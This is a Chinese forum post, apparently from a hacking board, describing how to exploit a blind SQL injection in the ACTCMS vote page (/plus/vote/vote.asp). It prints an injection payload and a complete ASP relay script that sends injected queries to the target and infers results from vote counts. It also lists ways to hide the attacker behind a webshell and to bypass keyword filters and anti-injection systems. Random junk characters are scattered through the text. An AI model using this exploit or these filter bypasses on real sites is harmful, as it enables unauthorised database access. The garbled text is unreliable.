注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
& b8 [: I/ R: o5 u( h链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
  }6 Z+ q' T+ U3 n2 C6 {关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
/plus/vote/vote.asp
/ U) i! G( m' G/ I  X2 j3 v/ m0 A代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
. D( ~; B# q1 ^
. |" w- y  [0 o; E- J3    response.end   

  m" C8 T6 K5 Z3 o, T1 z: e% b7 Z4    end if   
" `4 C( c) `8 A+ H1 C
5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
$ q4 A4 M* C4 i7 G3 a
7    next   

8....   

9response.Redirect "index.asp?id="&id&""   
; b* v  a  Q' W7 [$ }投票结束回跳转回index.asp这个投票结果页面
2 ]: }7 S6 n/ @如果投票成功票数加1
& I' D4 |3 h% z4 \5 p            失败票数不变
如图：
% l  V& L: q% Q* o  D, Ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
% a4 L: e6 A; O9 s  X: T3 G* O
2 E9 x# ~0 k% y  F+ q' D* R5 y0 @2009-12-27 13:20
' o+ s% S8 e, d: T0 z
# C4 \* s3 T+ I4 a利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

0 {0 V+ d5 u- t) y2 u本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
# ?& X5 k; M. r注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

, o0 l- s2 }7 J/ P$ a( m0 ?02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

; I& Q$ o0 F/ c0 A04JmStr="id=1&voted=-1 or 1="&JmdcwName
" E8 i& ~! M, T- I% q  P
/ e7 ?3 `: g1 a) U( L( A$ Q5 }05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# |4 q" a5 {$ J% E, V5 A* I# s; a- a
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr
- L( O; G2 w" v% L* }& z
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
, W8 G) d+ q6 ]/ n
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
% ?% M% P, m, s9 O
12JmCok=replace(JmCok,chr(32),"%20")  

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

$ h6 E% T/ W; U6 M& C14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
/ a! S, O- i+ f' J) Y3 @
16  
0 U9 ?7 x5 N% i/ [" y8 `
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""
. Q% g& E; F! G( o% i  b9 R
; K$ a! c) }0 p) x4 D/ q19  

$ Y" D6 j# a! A( q20if test1=test2 then '如前后记录相等，表示失败

) C8 _; Q; w: n21  response.write "failed"
* ?4 d- L+ ?# T
22else

9 e$ B5 j- g- Q# f+ ]7 J23  response.write "succeed"
6 L% A( D. P! ~
24end if  

5 ]2 T! P6 p- ?/ F( Q; }. y) O6 c/ Z: o25  

26response.write "by 3x"

27  

28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
4 b% H9 B. z2 P/ a* V" d7 H
* a- A4 v; ^, U7 p0 g# [! D30Dim Http

  B9 Q2 C. j2 P% z- l31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
6 N6 Y" V! k3 @, x9 J
32With Http

4 @1 N3 M, ]: m7 B+ G1 [33  
3 j+ W0 @7 r+ ]- R
! m1 L. L' M  r0 p. _34.Open "GET",PostUrl,False

9 B) R9 O: B1 i& y+ u35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
. r% {0 B  G2 F( Z( \
4 ?3 ~3 Y: Y1 I6 f+ f36.SetRequestHeader "Referer",PostRef

, h4 p8 Y1 D% I7 A37.SetRequestHeader "Cookie",PostCok
5 _$ k; j; D- \/ b. B0 X% ]
2 s' M3 S+ ~1 {38.Send ()

' I; u! v6 v/ W4 a: \% ~39PostData = .ResponseBody

: \. z  O' Q; g3 Q& i. g40End With
+ D$ O- t2 Z  {+ Y
5 M5 c7 l: |$ W5 o4 v' v41Set Http = Nothing
- I# d' |/ C" t, f
42PostData =bytes2BSTR(PostData)

6 Q) X" j8 V& R2 y9 z43End Function

44  

, G$ x) K: W7 g# y- M$ y, Z45  
  G) z: X' `+ S5 ^- v
46Function bytes2BSTR(vIn)

: P- h! ?* L# S47Dim strReturn

. B5 ^  G* M) c48Dim I, ThisCharCode, NextCharCode
% ^$ }/ ]" B3 u* W: @  L* C
49strReturn = ""

& y2 g0 s$ x# p" o50For I = 1 To LenB(vIn)
' v0 ?/ f7 J" e: }& {; c" |8 N
9 w! W8 t4 `$ {; H51ThisCharCode = AscB(MidB(vIn, I, 1))
0 z" q4 B; v* V1 G# z/ [( R
" T3 x2 y. d. v' T* J0 u8 T52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

! n/ ~) S! w0 ?- g5 s/ W6 }54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

- f, {3 Q$ k% f3 O! B: b. S, f- l57I = I + 1

58End If
7 i+ P. T* Z" E& R
2 o8 K2 h1 Y2 m$ T, ^2 B  _: s2 `& h59Next

60bytes2BSTR = strReturn
" ?6 ~6 x! c, s+ S6 W% A: b
61End Function

/ k8 j3 W) n3 B  Y% k2 c$ ^62  
3 u6 w4 U: Q# n, A
63Function URLEncoding(vstrin)  
) j; F3 s- M; a& z7 i7 D
; V& g2 l6 w. B  _7 n64strReturn=""

, Z& ], Z3 b; N" j& q3 q, t65Dim i
! K) @, s* Z) r# ^
& Q2 k. d% A) ^66For i=1 To Len(vstrin)
2 A1 W# r+ R$ N
67ThisChr=Mid(vstrin,i,1)

- ~+ f. [$ ?, ]8 i' J6 C8 P68if Abs(Asc(ThisChr))< &HFF Then
+ }8 v$ `9 u/ `# m  r' q2 ?* d3 T+ q& d
% H" m+ F/ ?4 r+ t' S3 G69strReturn=strReturn & ThisChr
) S! ^/ A) J- n. [& C9 }
70Else
: h/ V( V4 {) @" J/ h
71InnerCode=Asc(ThisChr)
/ j0 I# K* Y: M- W5 E5 l) Y$ \$ z
4 U8 u2 b; W. R' f$ V72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000
  w" @9 r' j: U9 t; n
, n' V, i/ C. |1 a. ]" ]* q74End If

7 w' z7 C. ]( E- g8 E1 }7 [75Hight1=(InnerCode And &HFF00) \&HFF
# D* f4 j, _/ z- [  @" v
76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

& |/ d% h5 Z7 K* c. P78End if
6 l6 F5 M3 t9 ~1 P
$ t1 w* h2 R) H- G$ R5 _: ^6 V: _# w79Next
1 _0 }. z9 r* \, l1 N  Y
* m6 h6 z: B2 q0 l# L) D9 L80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function
- Y" g; N4 Z8 ?$ H8 ^& K
85  
: ~" n+ r* k4 b, ~; t% a+ j" G# }
5 Z! Q. }% |9 u3 m7 t& U, E+ ]86function getSt(body)
/ R5 V: b( r$ V8 Z& r+ I6 _; n; g6 i
87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")

. k( D- S" D- M6 Y/ O89  getSt=mid(body,startpot,endpot-startpot)

90end function
, |3 j2 p; a2 q
7 H. z1 `1 P+ w2 u91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 w# J$ o% Q5 ?1 x6 _# l测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
' |" S! i4 \1 u- E- ~0 c% a
2009-12-27 13:29
投票失败
5 R, ?. x) G: P! f9 yhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
-------------------------------------------------------------------------------
* T* h. K2 H% j% }- a再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
( [- |* C; E( I- E所以失败。。。不好意思。。。
% V; O" A( Z+ {% U0 ~-------------------------------------------------------------------------------
/ l5 B% l3 ^9 J" L  f% I
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
' r0 o& G- {2 K) \7 }4 O% K3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过

" \5 z6 Z. \3 w# l' ^7 t/ ^